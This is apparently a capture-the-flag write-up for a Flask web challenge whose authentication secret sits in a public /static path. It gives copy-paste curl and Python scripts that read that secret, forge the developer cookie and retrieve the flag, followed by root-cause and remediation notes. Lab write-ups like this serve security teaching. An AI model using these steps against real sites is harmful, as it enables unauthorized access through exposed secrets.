Renderer

TL;DR: The app stored the developer “secret” under /static/…, so we could read it directly, set the matching cookie, and grab the flag.

🧩 Challenge Overview

  • Category: Web
  • Goal: Retrieve the flag from /developer
  • Stack: Flask (Python)
  • Key files:
    • app.py
    • templates/upload.html, templates/display.html
    • static/uploads/secrets/secret_cookie.txt ← (publicly served!)
    • flag.txt

🔍 Source Review (Quick)

  • /upload lets you upload images with extensions: jpg, jpeg, png, svg.
  • /render/<filename> shows uploaded files inside an <iframe> pointing to /static/uploads/....
  • /developer:
    • Reads cookie developer_secret_cookie
    • Compares it to the contents of ./static/uploads/secrets/secret_cookie.txt
    • If the file is empty, it seeds a random hex and refuses access
    • If cookie matches the file, it rotates the secret (writes a new one) and returns the flag

Bug: secret_cookie.txt is under /static, i.e., world-readable at:

/static/uploads/secrets/secret_cookie.txt

✅ Exploitation Plan

  1. Hit /developer once to ensure the secret is initialized (seeding step).
  1. Read the current secret directly from the public static path.
  1. Call /developer again with a cookie header developer_secret_cookie=<SECRET>.
  1. Receive flag (server then rotates the secret).

🛠️ Step-by-Step (Copy/Paste)

Option A: curl

# 1) Seed (creates a secret if the file was empty)
curl -s http://HOST:1337/developer > /dev/null

# 2) Read the secret
SECRET=$(curl -s http://HOST:1337/static/uploads/secrets/secret_cookie.txt)

# 3) Present matching cookie to get the flag
curl -s -b "developer_secret_cookie=$SECRET" http://HOST:1337/developer

Expected output:

Welcome! There is currently 1 unread message: FLAG{...}

Option B: Python (requests)

import requests

base = "http://HOST:1337"

# 1) Seed (in case secret file is empty)
requests.get(f"{base}/developer")

# 2) Read the public secret
secret = requests.get(f"{base}/static/uploads/secrets/secret_cookie.txt").text.strip()

# 3) Send matching cookie
r = requests.get(f"{base}/developer", cookies={"developer_secret_cookie": secret})
print(r.text)  # -> Welcome!... FLAG{...}

🧠 Root Cause

  • Sensitive secret stored in a public static directory.
  • Authentication depends on a value an attacker can read directly.

🔒 Remediation (For Write-ups / Recommendations)

  • Do not place secrets under /static. Store them outside web root or in env/DB.
  • Use server-side sessions or a signed/HttpOnly cookie (e.g., Flask session with SECRET_KEY).
  • Validate uploads safely:
    • Use secure_filename
    • Use rsplit('.', 1) rather than split('.')[1]
    • Consider disallowing SVG or sanitize it (SVG can run JS).
  • Serve uploads from a segregated domain/origin if possible to limit same-origin risks.

✅ Outcome

  • Flag obtained: FLAG{...} (redacted here)
  • Time-to-flag: ~seconds after reading the public secret
  • Impact: Complete bypass of “developer” check via public secret disclosure